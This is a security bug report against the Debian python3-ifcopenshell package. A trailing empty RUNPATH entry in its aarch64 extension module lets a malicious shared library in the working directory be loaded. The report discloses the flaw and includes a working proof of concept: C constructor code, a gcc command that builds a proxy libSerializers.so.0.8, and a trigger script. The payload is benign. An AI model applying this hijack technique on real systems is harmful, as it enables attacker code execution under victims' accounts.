<div dir="ltr">Package: python3-ifcopenshell<br>Version: 0.8.1+dfsg1-5<br>Severity: important<br>Tags: security<br><font size="4"><br><b>Summary:</b></font><br><br>The python3-ifcopenshell Debian package installs the Python extension module:<br>/usr/lib/python3/dist-packages/ifcopenshell/_<a href="http://ifcopenshell_wrapper.cpython-314-aarch64-linux-gnu.so">ifcopenshell_wrapper.cpython-314-aarch64-linux-gnu.so</a><br><br>This library contains a RUNPATH with an empty trailing path element:<br><br>RUNPATH [/build/reproducible-path/ifcopenshell-0.8.1+dfsg1/debian/build/3.14:/build/reproducible-path/ifcopenshell-0.8.1+dfsg1/debian/build/3.14/svgfill:]<br><br>Empty entries in an ELF RUNPATH (such as the trailing colon in this RUNPATH) are interpreted by the dynamic linker as the current working directory (CWD). As a result, when _<a href="http://ifcopenshell_wrapper.cpython-314-aarch64-linux-gnu.so">ifcopenshell_wrapper.cpython-314-aarch64-linux-gnu.so</a> resolves its dependencies, the dynamic linker searches the process working directory.<br><div><br></div><div>This permits library search path hijacking if an attacker places a malicious shared library in the directory from which a victim executes software that imports the ifcopenshell module using Python 3.14.</div><br><b><font size="4">Impact:</font></b><br><br>An attacker can cause execution of attacker-controlled code in the security context of the user running the affected application.<br><br>Since python3-ifcopenshell provides Python bindings, a victim might execute a Python script from a directory (such as a downloaded dataset, extracted archive, shared workspace, or /tmp) that contains an attacker-controlled shared library. If this occurs, the malicious library will be loaded and executed before the legitimate system library.<br><br>This issue falls under CWE-427 (Uncontrolled Search Path Element).<br><br><b><font size="4">Proof of Concept:</font></b><br><b><br></b><div><b>1. Create an attacker-controlled workspace:</b></div><div><b><br></b></div>$ mkdir -p /tmp/malicious_workspace<br>$ cd /tmp/malicious_workspace<br><br><div><b>2. Create the malicious payload:</b></div><div><b><br></b></div>$ cat << 'EOF' > poc_ifc.c<br>#include <stdio.h><br>#include <stdlib.h><br><br>__attribute__((constructor))<br>void exploit() {<br>    printf("\n[!!!] IFCOPENSHELL HIJACK SUCCESSFUL [!!!]\n");<br>    exit(0);<br>}<br>EOF<br><br><div><b>3. Create a dummy version map to satisfy dependency version requirements:</b></div><div><b><br></b></div>$ cat << 'EOF' > versions.map<br>GLIBC_2.17 { };<br>GLIBC_2.29 { };<br>EOF<br><br><div><b>4. Build a proxy libSerializers.so.0.8 library using DT_AUXILIARY so normal symbol resolution continues:</b></div><div><b><br></b></div>$ gcc -shared -fPIC poc_ifc.c \<br>    -o libSerializers.so.0.8 \<br>    -Wl,-f,/usr/lib/aarch64-linux-gnu/libSerializers.so.0.8 \<br>    -Wl,--version-script=versions.map<br><br><div><b>5. Create a Python script that imports the vulnerable library:</b></div><div><b><br></b></div>$ cat << 'EOF' > trigger.py<br>import ifcopenshell<br>print("ifcopenshell imported successfully!")<br>EOF<br><b><br></b><div><b>6. Execute the trigger from the malicious directory using Python 3.14 (the vulnerability exists in the cpython-314 wrapper):</b><br><br>$ PYTHONPATH=/usr/lib/python3/dist-packages python3.14 trigger.py<br></div><br><div><b>Result:</b></div><div><b><br></b></div>[!!!] IFCOPENSHELL HIJACK SUCCESSFUL [!!!]<br><br><b><font size="4">Expected Fix:</font></b><br><br>The package should not ship binaries containing empty path elements in their RUNPATH. The trailing colon should be removed.<br></div>